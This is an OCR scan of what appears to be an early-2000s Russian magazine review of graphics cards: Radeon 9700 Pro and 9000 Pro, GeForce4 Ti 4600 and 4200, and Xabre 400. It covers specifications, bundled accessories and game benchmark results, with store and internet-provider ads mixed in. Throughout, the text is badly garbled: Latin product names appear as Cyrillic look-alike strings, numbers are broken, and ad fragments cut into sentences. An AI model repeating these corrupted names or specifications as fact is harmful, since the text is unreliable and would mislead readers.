обычно, на практике. 
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ТЕСТИРОВАНИЕ НОВЫХ ВИДЕОКАРТ 



АТІ ВАОЕОМ 9700 РРО 

I Начнем, пожалуй, с самого производи- 
I тельного на сегодняшний день чипсета. 
I Да, ты не ослышался - это самый быст- 
1 рый чип на рынке видеокарт, что означа- 
ет новый виток в противостоянии двух 
грандов АТІ и МША. Ведь, до этого вре- 
мени именно видюхи от Нвидиа занима- 
ли лидирующие позиции, а теперь им 
1 пришлось потесниться и пропустить впе- 
ред нового лидера. Лидер же обладает 
целым рядом достоинств, что позволяет 
ему оставлять далеко позади всех конку- 
рентов. 

Конечно, самостоятельно понять, что за 
(хитрые технологии используются этим 
1 чипсетом довольно проблематично, по- 



□ПИСПНИЕ 
ГОНОЧНОЙ ТРЯССЫ: 

Материнская плата: М8І К7Т266 
Рго2-А(МЗ-6380Е Ѵегі .0) 
Процессор: АІѴЮ АТІіІоп 1800+ ХР 
Память: ЫСР 512 МВ ОРР; 
Жесткий диск: 

Махіог О740Х-6Б (19,5 0В); 

ОС: ѴѴіпсІоѵѵз ХР Ноте ЕбШоп 
(ЬиіІсІ 2600). 

ПЕРЕЧЕНЬ 

ВИДЕОКЯРТ: 

ЗоІІек СеРогсе4 Ті 4600 
ЗоІІек ХаЬге 400 

СаіпѵѵагсІ РоѵѵегРаск! Шга/750 ХР 
СеРогсе 4 Ті 4600 

СаіпѵѵагсІ РоѵѵегРаск! Шга/650 ХР 
СеРогсе 4 Ті 4200 

РоѵѵегСоІог АТІ Рабеоп 9700 Рго 
РоѵѵегСоІог АТІ Рабеоп 9000 Рго 
АЗІІЗ СеРогсе4 Ті 4200 



этому давай разберемся вместе ;]. 
Итак, ЗМАРТЗНАОЕР 2.0 - это ничто 
иное, как пиксельные и вершинные про- 
цессоры, удовлетворяющие требовани- 
ям МісгозоЙ ОігесІХЭ и, соответственно, 
задействованы на полную мощь они бу- 
дут только после полноценного релиза 
этого АРІ. 

ЗМООТНѴІЗІОМ 2.0 же является новым 
методом полноэкранного сглаживания, 
который позволяет убирать ненавистные 
«ступеньки» на границах полигонов. При- 
чем именно на границах, что значительно 
снижает нагрузку на шину памяти и уве- 
личивает тем самым производительность 
в игрушках с настройками «по максиму- 
му». Также ЗМООТНѴІЗІОМ 2.0 может ра- 
ботать при любых высоких разрешениях, 
чем не могут похвастаться большинство 
современных видеокарточек. 

ТРІІРОРМ 2.0 - это логическое продолже- 
ние технологии АТІ ТРІІРОРМ, получаю- 
щей из игрушки инфу о полигонах, а за- 
тем преобразующая кривые поверхности 
в гораздо более реалистичные. Персона- 
жи и объекты в игрушках, «обработан- 
ные» ТРІІРОРМ 2.0 выглядят, как живые и 
настоящие. 

Нурег2 III повышает эффективность ис- 
пользования пропускной способности ви- 
деопамяти за счет прорисовки только тех 
пикселей, которые находятся только в по- 
ле зрения наблюдателя. 

Технология ѴЮЕОЗНАОЕР позволяет за- 
действовать пиксельные шейдеры для 
обработки видеопотока, что избавляет 
его от многочисленных артефактов, а так- 
же улучшает цветопередачу и подавляет 
«шумы». А фильтрацией глюков компрес- 
сии МРЕС4ДМ занимается непосредст- 
венно технология Р1Ш8ТРЕАМ. 



НПРПКТЕРИСТИКИ ЧИПСЕТЯ: 



■ Технология изготовления - 0.15 мкм; 

■ Число транзисторов - -1 10 млн.; 

■ Тактовая частота - 325 МГц; 

■ Шина памяти - 256 бит ООР ЗйРАМ; 

■ Максимальный объем видеопамяти - 256 МБ; 

■ Тактовая частота видеопамяти - 620 МГц; 

■ Поддержка АСР 2Х, 4Х, 8Х и ІІпіѵегзаІ АСР 3.0 (2Х/4Х/8Х); 

■ Восемь пиксельных конвейеров (технология ЗМАРТЗНАОЕР 2.0); 

■ Один блок выборки текстур в каждом пиксельном процессоре; 

■ Поддержка билинейной, трилинейной, анизотропной и сочетания трилинейной 
и анизотропной фильтрации текстур; 

■ Четыре вершинных конвейера (технология ЗМАРТЗНАОЕР 2.0); 

■ Поддержка полноэкранного сглаживания (технология ЗМООТНѴІЗІОМ 2.0); 

■ Поддержка технологии ТРІІРОРМ 2.0; 

■ Поддержка технологии НурегІ III; 

■ Поддержка технологии ѴЮЕОЗНАОЕР; 

■ Поддержка технологии РІНІЗТРЕАМ; 

■ Аппаратная декомпрессия ОѴО, адаптивный деинтерлейсинг, компенсация 
движения; 

■ Два СРТ-контроллера; 

■ Два РАМОАС с частотой 400 МГц. 



РОѴѴЕРСОЮР ЕѴИ 
СОММА№0 2 
(АТІ КАОЕСМ 9700 РКО) 

РоѵѵегСоІог ЕѵіІ Соттапсіо 2 является типич- 
ным представителем видеокарты на основе 
АП Рабеоп 9700 Рго. Карта упакована в сим- 
патичную картонную коробку, под которой 



скрывается не менее симпатичный чемо- 
данчик с видюхой и сопутствующей ком- 1 
плекгацией: компактом с драйверами и 
софтом, руководством пользователя и ком- 
плектом кабелей и переходников (Ш-І -> 
О-ЗІВ, З-Ѵібео -> РСА, З-Ѵісіео и РСА), а 
также специального кабеля для дополни- 1 
тельного питания на плате (без него она ра- 
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НЯРПКТЕРИСТИКИ ЧИПСЕТЯ: 



■ Технология изготовления - 0.15 мкм; 

■ Тактовая частота - 275 МГц; 

■ Шина памяти - 128 бит ЭйР ЗРРАМ; 

■ Максимальный объем видеопамяти - 128 МБ; 

■ Тактовая частота видеопамяти - 550 МГц; 

■ Поддержка АСР 2Х, 4Х , 8Х и УпіѵегзаІ АСР 3.0 (2Х/4Х/8Х); 

■ Четыре пиксельных конвейера; 

■ Один текстурный модуль в конвейере; 

■ Поддержка билинейной, трилинейной и анизотропной фильтрации текстур; 

■ Поддержка полноэкранного сглаживания (технология ЗМООТНУІЗЮІЧ); 

■ Поддержка пиксельных шейдеров (по спецификациям ОігесІХВ.1); 

■ Поддержка вершинных шейдеров (по спецификациям Рігес1Х8.1 ); 

■ Поддержка технологии НурегІ II; 

■ Поддержка мультимониторных конфигураций; 

■ Поддержка технологии НѴйРАѴІЗІОМ (менеджмент окон и рабочих столов); 

■ Два РАМ ОАО с частотой 400 МГц. 



ботать не желает). Тактовая частота работы 
чипсета видюхи, соответствует рекоменда- 
циям АП и составляет положенные 325 МГц. 
Ядро же охраняет мощный кулер с массив- 
ным радиатором. Объем памяти: 128 МБ 
ЭЭР ЗЭРАМ от ЗАМЗІІІЧС с тактовой часто- 
той в 620 МГц и с временем цикла в 2.8 нс - 
такая оператива обеспечит солидную про- 
изводительность в большинстве существу- 
ющих и будущих приложений. Ну, а в заклю- 
чении достоинств РоѵѵегСоІог ЕѵіІ Соттапсіо 
2 следует отметить наличие разъемов О- 
311В, ОМ-1 и З-Ѵісіео, поддерживающих под- 
ключение к монитору по цифровому и ана- 
логовому интерфейсу, а также к телевизору 
по композитному или З-Ѵісіео кабелю. 



АТІ КАОЕОН 9000 РВО 

Этот чипсет не такой мощный, как стар- 
ший собрат, но тоже обладающий мощ- 
ной производительностью. Пришел он, 
по замыслу маркетологов АТІ, на смену 
недорого чипсета НАОЕОІ\І 7500, а осно- 
ван на базе прошлого лидера в линейке 
видюх - РАЭЕОІЧ 8500. 



ПИКСЕЛЬНЫЕ И ВЕРШИННЫЕ ШЕЙДЕРЫ 

Пиксельные шейдеры - это небольшие программы, которые изменяют атрибуты отдельных пикселей, что позволяет создавать 
очень реалистичное освещение и разнообразные эффекты с ним. Вершинные шейдеры же занимаются модификацией вертекс- 
ных данных, благодаря которым и появляются все новые и новые эффекты типа анимированных объектов, игры света и тени, 
реалистичных взрывов, продвинутой анимации выражения лица с синхронизацией движений губ в такт речи и т.д. 





Как видишь, характеристики чипсета 
АТІ Васіеоп 9000 Рго довольно впечат- 
ляющие, что позволяет не беспокоить- 
ся за производительность в современ- 
ных игрушках. А вот, как он проявит 
себя на фоне конкурентов покажут 
только тесты. 

РОѴУЕКСОЮК ЕѴІІ. 

СОММА№0 

(АТІ КАйЕСМ 9000 РВО) 

Еще один «командос» от РоѵѵегСоІог, 
только рангом пониже. Частота чипсета 
и памяти - 275/550 МГц, что соответст- 
вует эталонным нормативам. Объем 



памяти - 64 ЭЭР ЗЭРАМ от Нупіх со 
временем цикла 3.3 нс. Сама же карта 
упакована во все тот же симпатичный 
чемоданчик, в котором приютились 
компакт с дровами, переходники (3- 
Ѵібео-Іо-РСА и ОѴНо-сІ-ЗиЬ) и видео- 
шнуры. Чипсет видюхи обдувается 
мощным кулером с большим радиато- 
ром, поэтому всевозможных неприят- 
ностей с перегревом ожидать не прихо- 
диться. Набор интерфейсных разъемов 
выполнен в лучших традициях АТІ: ѴОА, 
ЭѴІ и ТѴ-оиІ (3-Ѵібео). И все это удо- 
вольствие находиться в бюджет- і 
ной нише, о чем раньше можно га 
было только мечтать. 
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Г ТЕСТИРОВАНИЕ НОВЫХ ВИДЕОКАРТ 




Ф іезНаЬ (іезНаЬ@датеІапсІ.ги) 
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ЫѴЮІА СЕРОКСЕ 4 ТІ 4600 

Теперь настала очередь посмотреть, ка- 
кой Ыдб-епсІ чип нам предлагает 
МѴЮІА. Его название ты уже, наверняка, 
слышал: СеГогсе4 или, по внутренней 
классификации - Р1Ѵ25. Посмотрим же, 
что у него имеется в арсенале для ус- 
пешного выступления в этой 30-гонке. 

I Итак, по сравнению с третьим ДжиФор- 
сом, у четвертой модели увеличились не 
I только тактовые частоты, но и произошел 
1 целый ряд архитектурных изменений. 
Начнем с основных изменений. У 
СеГогсе4 встроено 2 блока вершинных 
шейдеров (впрочем, как и у СеГогсеЗ), но 
работают они параллельно, в результате 
чего увеличивается их скорость обработ- 
ки. Также увеличилось количество инст- 
рукций в блоке пиксельных шейдеров. 
Появился новый метод сглаживания изо- 
бражения - 4x5 плюс были улучшены 
I другие методы антиалиасинга. 

Еще следует отметить технологию опти- 
мизации видеопамяти, основанной на 
I улучшении системы кэширования, алго- 
1 ритме отброса невидимых поверхностей 
и сжатия/очистки 2-буфера (подобно 
I технологии Нурег2 от АТІ). Что касается 
1 20 части чипсета, то туг появилось два 
ПАМ ОАО (с частотой 350 МГц), контрол - 
I лер ТѴ Оиі и ТОМЗ трансмиттер для ра- 



НЯРЯКТЕРИСТИНИ ЧИПСЕТЯ: 



боты с цифровыми панелями с 0\І\ ин- 
терфейсом. Теперь рассмотрим особен- 
ности новых заявленных технологий. 
пРіпіТе РХ2 - это, по сути, лишь название 
всех новых возможностей шейдеров 
СеРогсе4, к которым добавились методы 
наложения рельефных текстур и их каче- 
ство исполнения. АссиѴіеѵѵ - это вариан- 
ты полноэкранного сглаживания: 2х, 
Оиіпсипх, 4х и новый метод 4x3 плюс 
анизотропная фильтрация. С помощью 
АссиѴіеѵѵ удалось улучшить как качество 
сглаживания, так и производительность 
при ее использовании. Ну, и последний 
штрих к картине с СеГогсе4 - технология 
пѴіеѵѵ, позволяющая выводить изобра- 
жение на два монитора. При подключе- 
нии двух мониторов (вместо второго мо- 
ника может использоваться цифровая 
панель или телевизор) пѴіеѵѵ позволит 
работать в режимах СІопе, 2оот, 



НогііопіаІ Зрап или Ѵеііісаі Зрап, одно- 
временно управляя изображениями на 
них (работа с окнами и диалогами, наст- 
ройка эффекгов/горячих клавиш и т.д.). 

САІШАКО 

РОМЕРРАСК! ІЛ.ТРА/750 ХР 

СЕРОКСЕ 4 ТІ 4600 

Эта видюха основана на чипсете 
МѴЮІА СеГогсе4 ТІ4600 с соответству- 
ющими рекомендациями от МѴЮІА 
тактовыми частотами ядра и памяти: 
300/650 МГц. Комплектация у 
РоѵѵегРаск! Шга/750 ХР на высоте и 
содержит руководство пользователя, 
компакты с драйверами/софтом, 30 
шутером ЗегіоизЗат и прогами для ка- 
чественного просмотра ОМО - 
ІпІегѴісІео ѴѴіпйѴО и редактирова- 




■ Технология изготовления - 0.15 мкм; 

■ Число транзисторов - ~63 млн.; 

■ Тактовая частота - 300 МГц; 

■ Шина памяти - 128 бит ОйН ЗОНАМ; 

■ Тактовая частота видеопамяти - 650 МГц; 

■ Четыре пиксельных конвейера; 

■ Два текстурных блока на конвейер; 

■ Поддержка билинейной, трилинейной, анизотропной и сочетания трилинейной 
и анизотропной фильтрации текстур; 

■ Поддержка полноэкранного сглаживания (мультисэмплинг 2х, 4х, Оиіпсипх, 4x5); 

■ Поддержка пиксельных и вершинных шейдеров; 

■ Поддержка поверхностей высокого порядка (РТ-РаісГіез); 

■ Поддержка технологии оптимизации видеопамяти ( 2 Оссіизіоп СиІІіпд, 2 
Сотргеззіоп, Газі 2 СІеаг, Метогу РгесИагде); 

■ Поддержка технологии пГіпіІе ГХ2; 

■ Поддержка технологии АссиѴіеѵѵ; 

■ Поддержка двухмониторных конфигураций; 

■ Аппаратная декомпрессия ОЩ 
Два НАМ РАС с частотой 350 МГц. 



ния/захвата видео - ІпІегѴісІео 
ѴѴіпРгосІисег и ѴѴіпСосІег. Также присут- 
ствуют все необходимые и не очень 
переходники с кабелями: два переход- 
ника ОѴІ-І -> ѴСА, переходник с ком- 
бинированного разъема Ѵібео- 
Іп/Ѵібео-Оиі на разъемы НСА/5-ѴісІео и 
НСА/5-ѴісІео для вывода изображения. 



ПИКСЕЛИ, ТЕКСТУРЫ, 
ПОЛИГОНЫ... 

Собственно, пиксель - это самый мел- 
кий объект на картинке. Текстуры же 
состоят из пикселей и на основе их 
создают изображение на полигонах в 
30. Полигоны (они же многоугольники 
или замкнутые двумерные фигуры) 
комбинируются с себе подобными, а в 
результате мы наблюдаем многообра- 
зие моделей в необъятном мире 30. 



Еще, помимо всего этого добра, в 
комплект входит четырехканальный 
контроллер ІЕЕЕ1394 (ГігеѴѴіге) на чи- 
пе ѴГ6306 от ѴІА, так что работа с ци- 
фровым видео должна быть макси- 
мально комфортной. Сама же плата 
выполнена в красных тонах, даже ра- 
диаторы на ядре и памяти покрашены 
соответствующе. Кстати, памяти на 
видеокарте 128 МБ ООП ЗОНАМ от | 
ЗАМЗІЮС с временем цикла 2.8 нс. 
Прикрыта она радиаторами, что гово- 1 
рит о продвинутом охлаждении и не- 1 
плохом разгонном потенциале ;]. 

501-ТЕК 

СЕГОКСЕ4 ТІ 4600 

Еще одна видеокарточка на основе I 
МѴЮІА СеГогсе4 ТІ4600. Только на этот 
раз от ЗоІІек. Коробка имеет рельеф- 
ное изображение и яркую окраску, что 
сразу привлекает на нее внимание по- [ 
тенциальных покупателей. В самой ко- 
робке, помимо видюхи, лежит руко- 
водство пользователя, компакт с драй- 1 
верами и утилитами, СуЬегШпк Роѵѵег 
йігесіог (для ѴІѴО), РоѵѵеЮѴО ХР, 30- \ 
шутер Зегіоиз Зат, переходник ОМ\- 
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КПРПКТЕРИСТИКИ ЧИПСЕТЯ: 



■ Технология изготовления - 0.15 мкм; 

■ Число транзисторов - ~63 млн.; 

■ Тактовая частота - 250 МГц; 

■ Шина памяти - 128 бит йРР ЗйВАМ; 

■ Тактовая частота видеопамяти - 444 МГц у 128 МБ ОРК и 500МГцу 64 МБ РРР; 

■ Четыре пиксельных конвейера; 

■ Два текстурных блока на конвейер; 

■ Поддержка билинейной, трилинейной, анизотропной 

и сочетания трилинейной и анизотропной фильтрации текстур; 

■ Поддержка полноэкранного сглаживания (мультисэмплинг 2х, 4х, Оиіпсипх, 4x3); 

■ Поддержка пиксельных и вершинных шейдеров; 

■ Поддержка поверхностей высокого порядка (ВТ-РаІсІіез); 

■ Поддержка технологии оптимизации видеопамяти ( 1 Оссіизіоп СиІІіпд, 1 
Сотргеззіоп, Раз! 2. СІеаг, Метогу РгесНагде); 

■ Поддержка технологии пРіпіІе РХ2; 

■ Поддержка технологии АссиѴіеѵѵ; 

■ Поддержка двухмониторных конфигураций; 

■ Аппаратная декомпрессия ОЩ 

■ Два РАМ РАС с частотой 350 МГц. 



ИН ТЕ РНЕТ- КАРТА 



Іо-ѴСА и переходник-разветвитель для 
ѴІѴО (Ѵібео-Іп Ѵібео-Оиі). Видеокарта 
имеет вполне предсказуемые специ- 
фикации - частота чипа и памяти со- 
ставляет 300/650 МГц, ведь против ре- 
комендаций от Нвидии особенно не 
попрешь ;]. Память от Самсунга с вре- 
менем цикла 2.8 нс, что говорит о не- 
плохом разгонном потенциале карточ- 
ки. В подтверждении этому достаточно 
только взглянуть на огромный радиа- 
тор с двумя вентиляторами :]. 

N VI О ІА ОЕРОРСЕ 4 ТІ 4200 

СеРогсе4 714200 - это самая младшая и 
доступная по цене модель в линейке чет- 
вертых ДжиФорсов. По замыслу Нвидии, 
этот чипсет должет обеспечивать солид- 
ную производительность за несолидные 
деньги. Посмотрим, как ей это удастся... 

Взглянув, на спецификации становит- 
ся понятно, что чипсет СеРогсе 4 Ті 



4200 не понес никаких архитектурных 
потерь, а лишь расстался с некото- 
рым количеством драгоценных мега- 
герц от чипсета и видеопамяти. У ви- 
деокарточек со 128 МБ оперативы| 
тактовая частота составляет 444 МГц, 
а со 64 МБ - 500 МГц. Частота ядра I 
чипсета - 250 МГц, что на 50 МГц I 
меньше, чем у старшего собрата Ті I 
4600. Вот, пожалуй, и все существен- 
ные различия. Теперь остается только 
посмотреть, как производители ви- 
деокарточек, реализовали его на сво- 1 
их творениях. 

ОАІШАРР 

РОМЕРРАСК! ІЛ.ТРА/650 ХР 

СЕГОКСЕ 4 ТІ 4200 

Еще одна красная красавица от . 
СаіпѵѵагсІ с пламенным сердцем м 
СеРогсе 4 Ті 4200. В приданое “у 
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ВЕЧЕРОМ (с 1&:ОС да 24:00) - О, ВО УЁ /час 
НОЧЬЮ (с ООіОО до 09-00) - 0 ,25 УЁ/чэс 

ВЫХОДНЫЕ ■ 

(С 09:00 СУББОТЫ ДО 09:00 ПОНЕДЕЛЬНИКА) 

НОЧЬЮ ( С 00:00 ДО 09:00) - 0,25 УЕ/ЧАС 
В ОСТАЛЬНОЕ ВРЕМЯ (С 0*00 ДО 34 ОО) - 0.00 УЕ/ЧАС 



* специальный модемный пул 

* БЕСПЛАТНАЯ ДОСТАВ КА КАРТ I 

* ТЕСТОВЫЙ ВХОД ! 

* ЦЕНЫ С УЧЕТОМ НДС! 



ПРИОБРЕТЕНИЕ И БЕСП ЛАТНАЯ ДОСТАВКА КАРТ: 
ТЕЛ.: {095) ПГ-ИП. ГЙ- 2«9. 

ѴѴѴѴУ/.ЕІМЕТ.1Ш 











Юниксоид 



■ Технология изготовления - 0,15 мкм; 

■ Частота работы - до 300 МГц; 

■ Четыре пиксельных конвейера с двумя текстурными модулями на каждом; 

■ Поддержка наложения до 4 текстур за один проход; 

■ Поддержка билинейной и трилинейной фильтрации текстур; 

■ Поддержка имитации рельефности (методы ЕтЬозз, ЕМВМ, РоІЗ); 

■ Поддержка кубических карт и объемных текстур; 

■ Поддержка компрессии текстур (83ТСДМС); 

■ Поддержка полноэкранного сглаживания; 

■ Поддержка пиксельных шейдеров версии 1 .3; 

■ Поддержка до 128 МБ видеопамяти 8РВАМДЮВ 80ВАМ с шириной шины 64 
или 128 бит; 

■ Поддержка АОР 1х, 2х, 4х, 8х; 

■ Поддержка оверлеев, масштабирования и настройки цветовой гаммы; 

■ Встроенный ВАМРАС на 375 МГц. 



Геггипп 



ТЕСТИРОВАНИЕ НОВЫХ ВИДЕОКАРТ 

Ф іезНаЬ (ІезНаЬ@датеІапсІ.ги) 



ей тоже достался впечатляющий на- 
борчик из руководства пользователя, 
дисков с драйверами/утилитами/соф- 
том (\Л/іпО\Ю, ѴѴіпРгосІисег и ѴѴіпСосІег 
от ІпІегѴісІео) и переходника с комби- 
нированного разъема Ѵісіео-Іп/Ѵісіео- 
Оиі на 2 8-ѴісІео и 2 ВСА. Удовлетво- 
рять же хозяина СаіпѵѵагсІ Шга/650 ХР 
собирается через разъемы ѴСА, БѴІ-І и 
Ѵісіео-Іп/Ѵісіео-Оиі Ее тактовые часто- 
ты, как и положено, составляют 
250/444 МГц для ядра и видеопамяти. 
Чипсеты памяти, общим объемом в 
1 28 МБ и с временем цикла 4 нс, ведут 
свои корни от Затзипд’а. Сами чипсе- 
ты не охлаждаются дополнительными 
радиаторами, что говорит о скромном 
нраве видюхе. Зато девственный чип- 
сет прикрыт достаточно эффективным 
кулером с радиатором. 



Азиз 

СЕРОКСЕ4 ТІ 4200 

Видюхи от АЗІІЗ’а всегда было прият- 
но держать в руках, ведь их отличает 
безупречное качество и высокие ско- 
ростные характеристики. А пощупать 
эту модель было приятно вдвойне, 
ведь не зря же на ней красуется гор- 
дая надпись «йеіих» на стильной ко- 
робке. Комплектация у видеокарточки 
весьма богатая и включает в себя: 
толстое руководство пользователя; 
кучу компактов с драйверами, утили- 
тами, разнообразным софтом 

(СуЬегШпк Ѵібеоиѵе МаіІ, ІпІегѴісІео 
ѴѴіпСосІег/ѴѴіпРгосІисег, АЗІІЗ 

0\Я)2000) и гамесами; переходник 
ОѴИо-ѴСА, а также 



НЯРЯКТЕРИСТИКИ ЧИПСЕТЯ: 



ннтинлинсинг 



Антиалиасинг в ЗО означает сглажи- 
вание характерных «ступенек» и не- 
ровностей, прорисованных под уг- 
лом. Эти «ступеньки» хорошо видно 
во многих ЗЭ-шутерах, особенно в 
небольших разрешениях. Обычно ЗЭ 
сцена наряду с антиалиасингом до- 
полняется еще и билинейной или 
трилинейной фильтрацией. 



переходник-разветвитель для ѴІѴО. 
Сама карта работает на повышенных 
частотах: 550 МГц - память, 260 МГц - 
чипсет, но на стабильности работы 
это никак не сказывается. Тем более 
охлаждение у ней весьма достойное. 
Модули памяти Самсунговские (объ- 
ем - 128 МБ) со временем цикла в 3.3 
нс. В общем, карточка оставляет са- 
мые благоприятные впечатления, ос- 
тается только посмотреть, как она 
проявит себя в тестах. 

313 ХАВКЕ 400 

Чипсет 8і8 ХаЬге 400, выпущенный ком- 
панией 8іІісоп Іпіедгаіесі 8узІетз, при- 
зван нарушить традицию, в которой бю- 
джетные решения значительно уступа- 
ют в производительности и возможнос- 



тях более дорогим видеокартам. По- 
смотрим, обладает ли он такой силой? 

Да, судя по характеристикам, силой он 
обладает, причем весьма внушитель- 
ной. Остается только посмотреть, что 
могут предложить нам разработчики 
видюх на его основе и как он, собствен- 
но, проявит себя в игрушках и тестах. 

501-ТЕК 

ХАВКЕ 400 

Одним из производителем, решившимся 
выпустить карточку на основе ХаЬге 400, 
стал ЗоІІек. Имя его девайса - ЗоІІек ХаЬге 
400. В комплект к нему входят диск с дро- 
вами и софтом, переходник 8-ѴісІео- ВСА и 
удлинитель 8-ѴісІео. Не густо, конечно, но 
для бюджетной карточки этого вполне 
должно хватить. Сама плата радует своим 
серебристым дизайном и большим ради- 
атором с кулером. Тактовая частота чип- 
сета - 275 МГц, памяти - 250 МГц. Памяти 
установлено 64 МБ с временем цикла в 
3.5 нс от производителя ЕігопТесЬ. Пер- 
вое, что удивило при инсталляции этой 
видюхи, это появлении логотипа ХаЬге по- 
сле установки драйверов. Так что будь мо- 
рально готов к грядущим переме- 
нам ;]. Остальные сюрпризы пока- 
жет тестирование. 







Арек ііпіѵегзаі 




Центр Вашей Циф 

Компьютеры Арек Цпіѵегзаі на базе процессоров іпТеі . 



Процессор - Іп*е1® РепШт® 4 2.8 ГГц 
Материнская плата - Іпіеі® Р845СВ 
Память - 512МВ ООР 
Жесткий диск - 120СВ 

омо/со-ш 

Видео - СеРогсе 4 ТІ4600 
Звук - 5В Аисііду РІайпит 
Форм-фактор - АТХ 




Компьютеры на базе процессоров Іп*:еІ® РепШт® 4, 

созданные с использованием современнейших технологий позволяют по- 
новому взглянуть на окружающий мир. Последние технологии обработки 
видео, звука и графики позволяют использовать новый как 

универсальное средство для создания профессиональных и домашних 
музыкальных студий, фотостудий, станций видео-монтажа и многого другого. 

Удивительные возможности на базе процессоров Іп*еІ® 

РепШт^ 4 помогут полностью раскрыть Ваш творческий потенциал. 
Используя средства коммуникаций нового Вы получаете 

возможность живого общения со всем миром не выходя из дома в сети 
Интернет. можно использовать как средство обучения и 

развлечения, так как его возможности отвечают требованиям самых 
различных приложений. 




м. "Белорусская" пл. Тверская застава, 3 
тел./факс (095) 250-46-57, 

250-44-76, 250-55-36 
И^р://ѵѵѵѵѵѵ.с1еІ.ги е-таіі: іп^о@сІеІ.ги 



м. "Савеловская" 
Сущевский вал, 5, стр.ІА 
тел./факс (095) 788-00-38 
е-таіі: заѵеІ@с!еІ.ги 



м. "Шоссе энтузиастов" 
пр. Буденного, 53 
тел./факс (095) 788-19-65 
е-таіі: ЬисІепоѵ5ку@сІеІ.ги 



ІпТеІ, логотип ІпТеІ іпзісіе и РепШт являются зарегистрированными товарными знаками ІпТеІ Согрогаііоп или ее дочерних компаний в США и других странах. 

Логотип Дел - зарегистрированный товарный знак компании Дел 






Реггигп 



ТЕСТИРОВАНИЕ НОВЫХ ВИДЕОКАРТ 

9 ІезПаЬ (ІезНаЬ@датеІапсІ.ги) 




ТЕСТЫ 



ОІІАКЕЗ ТЕАМ АНЕЫА 

(НЮН СШАИТѴ, МРйЕМОІ , 
1024X768, 1280X1024) 

Чтобы заценить, как проявит себя наши 
видеокарточки в популярных игрушках, 
мы выбрали один из самых известных 
30-шутеров и прогнали встроенный 
бенчмарк в максимальных настройках с 
высокими разрешениями. И уже сразу 
борьба между видюхами накалилась до 
предела, особенно во главе нашего 
своеобразного пельетона. В разреше- 
нии 1 024x768 видеокартам на чипсетах 
СеРогсе 4 Ті 4600 удается вырваться 
вперед, но лидерство было не долгим, 
т.к. на повороте с разрешением 
1280x1024 РоѵѵегСоІог АТІ Вабеоп 9700 
Рго все же обходит Нвидивские болиды. 
Видимо, сказывается большее количе- 
ство лошадок под капотом ;]. 

ІШРЕАІ. ТОІІРЫАМЕМТ 2003 

(АЫТАШЗ, МАХ РЕТАИ, 1024X768, 
1280X1024) 

А этот участок нашего испытательного 
полигона уже гораздо серьезней. Вы- 
хода ІІпгеаІ Тоигпатепі 2003 ждали 
многие и теперь станет ясно, справятся 
ли с ним современные видеокарты, 
ведь уровень графики в этом Зй-шуте- 
ре поднялся на новую, доселе недося- 
гаемую, высоту. И туг РоѵѵегСоІог АТІ 
Вабеоп 9700 не оставляет никаких шан- 
сов конкурентам, уверенно и быстро 
проходя повороты с высокими разре- 



шениями. Также очевидно, что ЗоІІек 
ХаЬге 400 уже не способен продолжить 
гонку на высоких скоростях. Сказывают- 
ся проблемы с не отлаженными драйве- 
рами (в игре можно наблюдать выпада- 
ющие полигоны и «мерцание» текстур) 
и недостаточная производительность. 
Видимо, команде ЗіЗ срочно нужно за- 
гнать свое детище в боксы и довести до 
ума его драйверскую часть :]. 



30 МАРК 2001 

(1024X768, 1280X1024, 32ВІТ 
еоюк, 2-ВиГГЕЯ 24 ВІТ, ОЕТАИ 
І_ЕѴЕІ_: НІСН) 

Ну и, наконец, финишная прямая со 
звучным названием ЗЭ МАРК. В этом те- 
сте нашим участникам придется пока- 
зать все, на что они способны, чтобы за- 
нять призовые места. Впрочем, лидер 
уже определился и к финишу с большим 
отрывом пришел РоѵѵегСоІог АТІ Вабеоп 
9700, показав рекордные результаты и на 
этом участке. Болиды с мотором СеРогсе 
4 Ті 4600 пришли практически вровень, 
но на доли секунды по общим результа- 
там быстрее был все же СаіпѵѵагсІ 
РоѵѵегРаск! Шга/750 ХР. Четвертым при- 
ехал А51І5 с СеРогсе4 Ті 4200 внутри. Пя- 
тое и шестое место досталось СаіпѵѵагсІ 
РоѵѵегРаск! Шга/650 ХР и РоѵѵегСоІог АТІ 
Рабеоп 9000 Рго, соотвественно. Ну, а 
ЗоІІек ХаЬге 400 хотя и не попал в очко- 
вую зону, со временем тоже должен об- 
завестись своими собственны- # 
ми фанатами, благо цена на не- 
го очень демократичная. щ Д 




ТЕЛЕФОН КЛИЕНТСКОЙ СЛУЖБЫ 



РОІ.АЩ8 

СЕТЬ КОМПЬЮТЕРНЫХ ЦЕНТРОВ 




МНОГОКАНАЛЬНЫЙ 



ТРЕБУЕТСЯ 



Компьютер можно заказать с 
доставкой по телефону: 

(095) 970-1939 или на 
интернет-сайте зНор.пі.ги 






V 3-х летнее бесплатное сервисное обслуживание, 
включая один год полной гарантии 




компьютер нусіі I 
на базе процессора 
ІпІеГ Репііит 4 2.0 СНг 
производительность, 
которая удивит 



Розничные салоны в России 
г. Москва 

м. Сокол, Волоколамское шоссе, 2 

м. Шаболовская, ул. Шаболовская, 20 

м. Комсомольская, ул. Краснопрудная, 22/24 

м. Профсоюзная, Нахимовский пр-т, 40 

м. Пл. Ильича, ул. С.Радонежского, 29/31 

м. Савеловская, ВКЦ "Савеловский", пав.: 024, А1-1, 20-5 

м. Щукинская, ул. Новощукинская, 7 

м. Пражская, ТЦ "Электронный рай", пав.: 1Б-47, 2В-14, 1В-18 
м. Люблино, ТК "Москва", 2 этаж, 1 линия 

г. Воронеж 

ул. Кольцовская, 82, тел.: (0732) 72-73-91 

г. Н. Новгород 

Бульвар Мира, 5 

Магазины работают ежедневно без выходных и перерывов 
ѵѵѵѵѵѵ.роіагіз.ги, іпТо@роІагІ5.ги 

Для корпоративных клиентов: согр@роІагіз.ги 

Оптовые поставки N1 Сотриіег: 

тел.: (095) 970-1930, факс: (095) 970-1931 



V бесплатное обслуживание на рабочем месте в 
Москве (в пределах МКАД) 

V 100% предпродажное тестирование 

V отличные характеристики для работы дома и в 
офисе 




Іпіеі, Іпіеі Іпзісіе І_о^о, Репііит являются зарегистрированными торговыми знаками корпорации Іпіеі и ее дочерних компаний в США и других странах. 
Сертификат соответствия № РОСС Р1ШЕ67.В01942. Логотипы І\ІТ Сотриіег и РОЬАРІЗ являются зарегистрированными знаками их владельцев. 







МОДИНГ НА ПРАКТИКЕ И 

Ф РК4Ѵ@тосІсІіпд.ги , НаЫ@тосІсІіпд.ги , 
сооІзі@тосІсІіпд.ги , зегду@тосіс1тд.ги 
(тѵѵѵ.рссіезідп.ги , ѵѵѵѵѵѵ.тосісііпд.п 



18 Ньюсы 



Террум 



РС 2опе 



Взлом 



